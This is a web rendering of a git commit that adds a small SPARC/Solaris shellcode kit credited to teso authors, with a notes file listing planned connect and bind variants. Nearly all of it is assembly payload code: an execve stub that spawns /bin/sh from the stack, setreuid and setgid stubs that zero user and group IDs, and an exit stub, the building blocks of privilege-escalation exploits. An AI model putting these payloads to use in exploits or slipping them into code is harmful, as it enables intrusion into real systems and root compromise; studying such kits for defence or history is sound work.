diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/sparc_solaris | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/sparc_solaris')
| -rw-r--r-- | other/shellkit/sparc_solaris/AUTHORS | 2 | ||||
| -rw-r--r-- | other/shellkit/sparc_solaris/NOTES | 11 | ||||
| -rw-r--r-- | other/shellkit/sparc_solaris/execve.s | 20 | ||||
| -rw-r--r-- | other/shellkit/sparc_solaris/exit.s | 10 | ||||
| -rw-r--r-- | other/shellkit/sparc_solaris/setgid.s | 12 | ||||
| -rw-r--r-- | other/shellkit/sparc_solaris/setreuid.s | 14 |
6 files changed, 69 insertions, 0 deletions
diff --git a/other/shellkit/sparc_solaris/AUTHORS b/other/shellkit/sparc_solaris/AUTHORS new file mode 100644 index 0000000..01bb209 --- /dev/null +++ b/other/shellkit/sparc_solaris/AUTHORS | |||
| @@ -0,0 +1,2 @@ | |||
| 1 | palmers / teso | ||
| 2 | smiler / teso | ||
diff --git a/other/shellkit/sparc_solaris/NOTES b/other/shellkit/sparc_solaris/NOTES new file mode 100644 index 0000000..166eccc --- /dev/null +++ b/other/shellkit/sparc_solaris/NOTES | |||
| @@ -0,0 +1,11 @@ | |||
| 1 | would this shellcodes work in sparc NetBSD or SunOS? | ||
| 2 | would require "ta 0" instead of "ta8"? | ||
| 3 | |||
| 4 | |||
| 5 | todo: | ||
| 6 | connect | ||
| 7 | bind | ||
| 8 | chmod | ||
| 9 | read | ||
| 10 | spset | ||
| 11 | |||
diff --git a/other/shellkit/sparc_solaris/execve.s b/other/shellkit/sparc_solaris/execve.s new file mode 100644 index 0000000..0a0c11b --- /dev/null +++ b/other/shellkit/sparc_solaris/execve.s | |||
| @@ -0,0 +1,20 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | |||
| 6 | sethi 0xbd89a, %l6 | ||
| 7 | or %l6, 0x16e, %l6 | ||
| 8 | sethi 0xbdcda, %l7 | ||
| 9 | add %sp, 8, %o0 | ||
| 10 | or %sp, %sp, %o1 | ||
| 11 | add %sp, 16, %sp | ||
| 12 | xor %o6, %o6, %o2 | ||
| 13 | std %l6, [%sp - 8] | ||
| 14 | st %o0, [%sp - 16] | ||
| 15 | st %o2, [%sp - 12] | ||
| 16 | mov 0x3b, %g1 | ||
| 17 | ta 8 | ||
| 18 | |||
| 19 | cend: | ||
| 20 | |||
diff --git a/other/shellkit/sparc_solaris/exit.s b/other/shellkit/sparc_solaris/exit.s new file mode 100644 index 0000000..3019a42 --- /dev/null +++ b/other/shellkit/sparc_solaris/exit.s | |||
| @@ -0,0 +1,10 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | |||
| 6 | mov 0x1, %g1 | ||
| 7 | ta 0x8 | ||
| 8 | |||
| 9 | cend: | ||
| 10 | |||
diff --git a/other/shellkit/sparc_solaris/setgid.s b/other/shellkit/sparc_solaris/setgid.s new file mode 100644 index 0000000..c307065 --- /dev/null +++ b/other/shellkit/sparc_solaris/setgid.s | |||
| @@ -0,0 +1,12 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | |||
| 6 | mov 0x4142, %o0 | ||
| 7 | xor 0x4344, %o0, %o0 | ||
| 8 | mov 0x2e, %g1 | ||
| 9 | ta 0x8 | ||
| 10 | |||
| 11 | cend: | ||
| 12 | |||
diff --git a/other/shellkit/sparc_solaris/setreuid.s b/other/shellkit/sparc_solaris/setreuid.s new file mode 100644 index 0000000..e17c375 --- /dev/null +++ b/other/shellkit/sparc_solaris/setreuid.s | |||
| @@ -0,0 +1,14 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | cbegin: | ||
| 5 | |||
| 6 | mov 0x4142, %o0 | ||
| 7 | xor 0x4344, %o0, %o0 | ||
| 8 | mov 0x4546, %o1 | ||
| 9 | xor 0x4748, %o1, %o1 | ||
| 10 | mov 0xca, %g1 | ||
| 11 | ta 0x8 | ||
| 12 | |||
| 13 | cend: | ||
| 14 | |||
